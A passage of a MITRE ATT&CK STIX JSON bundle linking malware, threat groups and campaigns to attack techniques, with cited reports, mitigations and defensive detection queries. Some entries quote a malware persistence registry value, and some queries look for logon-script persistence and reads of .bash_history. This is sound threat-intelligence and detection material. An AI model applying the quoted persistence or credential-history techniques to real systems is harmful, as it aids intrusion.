                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:10:20.307Z",
            "description": "[Crutch](https://attack.mitre.org/software/S0538) can exfiltrate files from compromised systems.(Citation: ESET Crutch December 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb460459-aff8-49a7-8058-3089c2a2da23",
            "created": "2022-03-30T14:26:51.836Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:47:16.360Z",
            "description": "Monitor for newly executed processes that may use scripts automatically executed at boot or logon initialization to establish persistence. Adversaries may schedule software to run whenever a user logs into the system; this is done to establish persistence and sometimes for lateral movement. This trigger is established through the registry key <code>HKEY_CURRENT_USER\\EnvironmentUserInitMprLogonScript</code>. This signature looks edits to existing keys or creation of new keys in that path. Users purposefully adding benign scripts to this path will result in false positives; that case is rare, however. There are other ways of running a script at startup or login that are not covered in this signature. Note that this signature overlaps with the Windows Sysinternals Autoruns tool, which would also show changes to this registry path.\n\nAnalytic 1 - Boot or Logon Initialization Scripts\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND CommandLine=\"*reg*add*\\Environment*UserInitMprLogonScript\" </code>",
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            "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb495609-5a69-49f1-afb4-4bfa2c9a38f8",
            "created": "2024-05-23T22:35:45.058Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Cadet Blizzard emerges as novel threat actor",
                    "description": "Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:47:16.552Z",
            "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) conducted destructive operations against victims, including disk structure wiping, via the [WhisperGate](https://attack.mitre.org/software/S0689) malware in Ukraine.(Citation: Cadet Blizzard emerges as novel threat actor)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9",
            "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb498ebf-bdb4-476c-9b7a-1a83c19d03fb",
            "created": "2020-03-16T17:09:47.263Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "GitHub PoshC2",
                    "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.",
                    "url": "https://github.com/nettitude/PoshC2_Python"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:10:20.665Z",
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use Invoke-TokenManipulation for manipulating tokens.(Citation: GitHub PoshC2)",
            "relationship_type": "uses",
            "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Trustwave Cherry Picker",
                    "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.",
                    "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"
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            ],
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            ],
            "modified": "2025-04-28T16:10:20.844Z",
            "description": "Some variants of [Cherry Picker](https://attack.mitre.org/software/S0107) use AppInit_DLLs to achieve persistence by creating the following Registry key: <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\"</code>(Citation: Trustwave Cherry Picker)",
            "relationship_type": "uses",
            "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
            "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb4bb8cc-f550-4c44-bddb-fa9d32cd0d23",
            "created": "2022-03-30T14:26:51.847Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:47:17.142Z",
            "description": "Monitor for execution of file transfer commands (robocopy, xcopy, cp, rsync) targeting removable media, use of disk utilities (diskpart, mount, mkfs) to format or prepare devices, or PowerShell or bash scripts automating file transfers to USB devices.\n\nAnalytic 1 - Detecting File Transfers to Removable Media via Command Execution \n\n<code> (EventCode=1 OR source=\"/var/log/audit/audit.log\" type=\"execve\")\n| where (command IN (\"robocopy\", \"xcopy\", \"cp\", \"rsync\", \"mount\", \"diskutil\"))\n| eval risk_score=case(\n    command IN (\"robocopy\", \"cp\", \"rsync\"), 9,\n    command IN (\"mount\", \"diskutil\"), 8\n)\n| where risk_score >= 8\n| stats count by _time, host, user, command, risk_score</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb4fc7aa-3ee0-4259-a2c7-58cd6ceb4053",
            "created": "2024-09-16T09:25:39.967Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Google Cloud APT41 2024",
                    "description": "Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:47:17.367Z",
            "description": "[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used `rar` to compress data downloaded from internal Oracle databases prior to exfiltration.(Citation: Google Cloud APT41 2024)",
            "relationship_type": "uses",
            "source_ref": "campaign--add4d9de-1256-4166-83b8-57087288dced",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb4fd342-3356-4289-9661-97b5d762bc89",
            "created": "2022-03-30T14:26:51.835Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:47:17.567Z",
            "description": "While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nAnalytic 1 - Commands accessing .bash_historythrough unexpected means.\n\n<code> (index=os sourcetype=\"linux_secure\" action=\"open\" filepath=\"/home/*/.bash_history\") OR\n(index=os sourcetype=\"macos_secure\" event_type=\"open\" file_path=\"/Users/*/.bash_history\")</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb51ada4-7c8e-4f4b-a70c-af7f764ac878",
            "created": "2021-01-20T18:10:33.746Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:10:21.274Z",
            "description": "[KillDisk](https://attack.mitre.org/software/S0607) registers as a service under the Plug-And-Play Support name.(Citation: ESET Telebots Dec 2016)",
            "relationship_type": "uses",
            "source_ref": "malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb53d2b5-6606-4597-b5e9-d9c114e2607e",
            "created": "2020-07-01T21:05:18.901Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "MacKeeper Bundlore Apr 2019",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020.",
                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:10:21.451Z",
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) can use AppleScript to inject malicious JavaScript into a browser.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44",
            "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--cb53d2f8-13ae-4ca8-9f76-d5e6d7c67645",
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            "revoked": false,
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            ],
            "modified": "2025-04-16T22:47:18.147Z",
            "description": "Consider monitoring for excessive use of <code>SendMessage</code> and/or <code>PostMessage</code> API functions with <code>LVM_SETITEMPOSITION</code> and/or <code>LVM_GETITEMPOSITION</code> arguments.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>FindWindow</code>, <code>FindWindowEx</code>, <code>EnumWindows</code>, <code>EnumChildWindows</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be abused for this technique. ",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
            "target_ref": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb54c094-5614-4d45-ab13-c00ab2cdb114",
            "created": "2021-12-06T16:30:49.186Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:10:21.722Z",
            "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has copied and installed tools for operations once in the victim environment.(Citation: US-CERT TA18-074A)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb55e462-8b1d-4916-8f69-087538d0d209",
            "created": "2020-03-14T22:45:53.071Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:10:21.898Z",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb57c953-1aab-4706-8947-545d4cb0cdce",
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            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has developed custom malware that allowed them to maintain persistence on victim networks.(Citation: Microsoft NICKEL December 2021)",
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                    "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.",
                    "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"
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                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
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                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..",
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                {
                    "source_name": "NCC Group Chimera January 2021",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.",
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                    "description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.",
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                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
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            "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate remote domain controllers using options such as <code>/dclist</code> and <code>/dsgetdc</code>.(Citation: Nltest Manual)",
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                    "description": "Rodel Mendrez & Lloyd Macrohon. (2021, October 15). BlackByte Ransomware \u2013 Pt. 1 In-depth Analysis. Retrieved December 16, 2024.",
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                    "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021.",
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            "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) has delivered payloads via spearphishing attachments.(Citation: TrendMicro Tonto Team October 2020)",
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                    "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.",
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                    "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.",
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            "description": "[Chaes](https://attack.mitre.org/software/S0631) has used JavaScript and Node.Js information stealer script that exfiltrates data using the node process.(Citation: Cybereason Chaes Nov 2020)",
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                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
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            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has hosted content used for targeting efforts via web services such as Blogspot.(Citation: Talos Kimsuky Nov 2021)",
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                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
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            "description": "[APT5](https://attack.mitre.org/groups/G1023) has used the BLOODMINE utility to collect data on web requests from Pulse Secure Connect logs.(Citation: Mandiant Pulse Secure Update May 2021)",
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                {
                    "source_name": "Group IB Silence Sept 2018",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.",
                    "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."
                },
                {
                    "source_name": "Cyber Forensicator Silence Jan 2019",
                    "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20220119133748/https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"
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            "modified": "2025-04-16T22:47:42.896Z",
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has deleted artifacts, including scheduled tasks, communicates files from the C2 and other logs.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: Group IB Silence Sept 2018)\t",
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                {
                    "source_name": "Microsoft Actinium February 2022",
                    "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"
                },
                {
                    "source_name": "Unit 42 Gamaredon February 2022",
                    "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.",
                    "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/"
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            "modified": "2025-04-28T16:10:38.936Z",
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has registered multiple domains to facilitate payload staging and C2.(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)",
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                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
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            "modified": "2025-04-28T16:10:39.198Z",
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                {
                    "source_name": "Microsoft SIR Vol 19",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"
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                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                },
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/"
                },
                {
                    "source_name": "Nearest Neighbor Volexity",
                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
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            "modified": "2025-04-16T22:47:43.915Z",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263, and CVE-2022-38028 to escalate privileges.(Citation: Bitdefender APT28 Dec 2015)(Citation: Microsoft SIR Vol 19)(Citation: Securelist Sofacy Feb 2018)(Citation: Nearest Neighbor Volexity)",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "SentinelLabs Metador Technical Appendix Sept 2022",
                    "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.",
                    "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"
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            "modified": "2025-04-16T22:47:44.099Z",
            "description": "[Mafalda](https://attack.mitre.org/software/S1060) can search for debugging tools on a compromised host.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)",
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                {
                    "source_name": "NCSC-NL COATHANGER Feb 2024",
                    "description": "Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.",
                    "url": "https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"
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            "modified": "2025-04-16T22:47:44.299Z",
            "description": "[COATHANGER](https://attack.mitre.org/software/S1105) creates and installs itself to a hidden installation directory.(Citation: NCSC-NL COATHANGER Feb 2024)",
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            "description": "Monitor for API calls that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)"
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                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control"
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                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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            "description": "Adversaries can replace accessibility features binaries with alternate binaries to execute this technique. Identify and block potentially malicious software executed through accessibility features functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Zscaler Pikabot 2023",
                    "description": "Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.",
                    "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"
                },
                {
                    "source_name": "Elastic Pikabot 2024",
                    "description": "Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.",
                    "url": "https://www.elastic.co/security-labs/pikabot-i-choose-you"
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            "description": "[Pikabot](https://attack.mitre.org/software/S1145) further decrypts information embedded via steganography using AES-CBC with the same 32 bit key as initial XOR operations combined with the first 16 bytes of the encrypted data as an initialization vector.(Citation: Zscaler Pikabot 2023) Other [Pikabot](https://attack.mitre.org/software/S1145) variants include encrypted, chunked sections of the stage 2 payload in the initial loader <code>.text</code> section before decrypting and assembling these during execution.(Citation: Elastic Pikabot 2024)",
            "relationship_type": "uses",
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                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
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                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
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                    "source_name": "Bitdefender FIN8 July 2021",
                    "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.",
                    "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"
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                {
                    "source_name": "Symantec FIN8 Jul 2023",
                    "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.",
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                    "source_name": "Flashpoint FIN 7 March 2019",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
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            "description": "[SQLRat](https://attack.mitre.org/software/S0390) has created scheduled tasks in <code>%appdata%\\Roaming\\Microsoft\\Templates\\</code>.(Citation: Flashpoint FIN 7 March 2019)",
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                    "source_name": "Pfammatter - Hidden Inbox Rules",
                    "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
                    "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
                },
                {
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
                    "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
                },
                {
                    "source_name": "Microsoft Manage Mail Flow Rules 2023",
                    "description": "Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"
                },
                {
                    "source_name": "Microsoft Get-InboxRule",
                    "description": "Microsoft. (n.d.). Get-InboxRule. Retrieved June 10, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/get-inboxrule?view=exchange-ps"
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            "description": "Enterprise email solutions have monitoring mechanisms that may include the ability to audit auto-forwarding rules on a regular basis.\n\nIn an Exchange environment, Administrators can use `Get-InboxRule` / `Remove-InboxRule` and `Get-TransportRule` / `Remove-TransportRule` to discover and remove potentially malicious auto-fowarding and transport rules.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Microsoft Manage Mail Flow Rules 2023)(Citation: Microsoft Get-InboxRule) In addition to this, a MAPI Editor can be utilized to examine the underlying database structure and discover any modifications/tampering of the properties of auto-forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules)",
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                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
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            "modified": "2025-04-16T22:47:45.894Z",
